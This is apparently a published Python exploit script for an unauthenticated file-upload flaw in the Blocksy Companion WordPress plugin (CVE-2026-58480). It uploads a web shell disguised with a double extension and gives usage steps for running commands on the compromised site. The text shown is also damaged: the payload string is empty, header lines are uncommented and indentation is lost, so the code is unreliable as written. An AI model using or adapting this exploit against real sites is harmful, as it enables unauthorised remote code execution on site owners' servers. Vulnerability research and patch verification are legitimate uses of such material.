#!/usr/bin/env python3
Exploit Title: Blocksy Companion 2.1.46 - RCE
CVE: CVE-2026-58480
Date: 2026-07-13
Exploit Author: Mohammed Idrees Banyamer
Author Country: Jordan
Instagram: @banyamer_security
Author GitHub: https://github.com/mbanyamer
Author Blog : https://banyamersecurity.com/blog/
Vendor Homepage: https://creativethemes.com
Software Link: https://wordpress.org/plugins/blocksy-companion/
Affected: Blocksy Companion <= 2.1.46 (Pro with Advanced Reviews + Custom Fonts)
Tested on: WordPress + Blocksy Companion 2.1.46
Category: WebApps
Platform: PHP
Exploit Type: Remote Code Execution (Unauthenticated)
CVSS: 9.8 (Critical)
Description: Unauthenticated arbitrary file upload via blc-review-images[] parameter in save_attachments.
Double-extension bypass (.woff2.php) due to strpos() check in Custom Fonts extension.
Fixed in: 2.1.47
Usage:
python3 exploit.py
#
Examples:
python3 exploit.py http://target.com
#
Notes:
• Requires Advanced Reviews and Custom Fonts extensions enabled.
• Uploaded shell lands in wp-content/uploads/ (check response for exact path).
#
How to Use
#
Step 1:
Run the script with target URL.
#
Step 2:
Use the generated shell URL with ?cmd=command (e.g. ?cmd=id)
import requests
import sys
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╗
""")
if len(sys.argv) < 2:
banner()
print("Usage: python3 exploit.py ")
sys.exit(1)
banner()
target = sys.argv[1].rstrip('/')
shell_name = "poc.woff2.php"
payload = """
"""
files = {
'blc-review-images[]': (shell_name, payload, 'application/octet-stream')
}
data = {
'action': 'blc_save_review_attachments'
}
print("[+] Sending unauthenticated file upload...")
try:
r = requests.post(f"{target}/wp-admin/admin-ajax.php", files=files, data=data, timeout=15)
print(f"Status: {r.status_code}")
print(r.text[:600])
print("\n[+] If successful, check wp-content/uploads/ for the shell.")
print(f"[+] Example: {target}/wp-content/uploads/YEAR/MONTH/{shell_name}?cmd=id")
except Exception as e:
print(f"[-] Error: {e}")
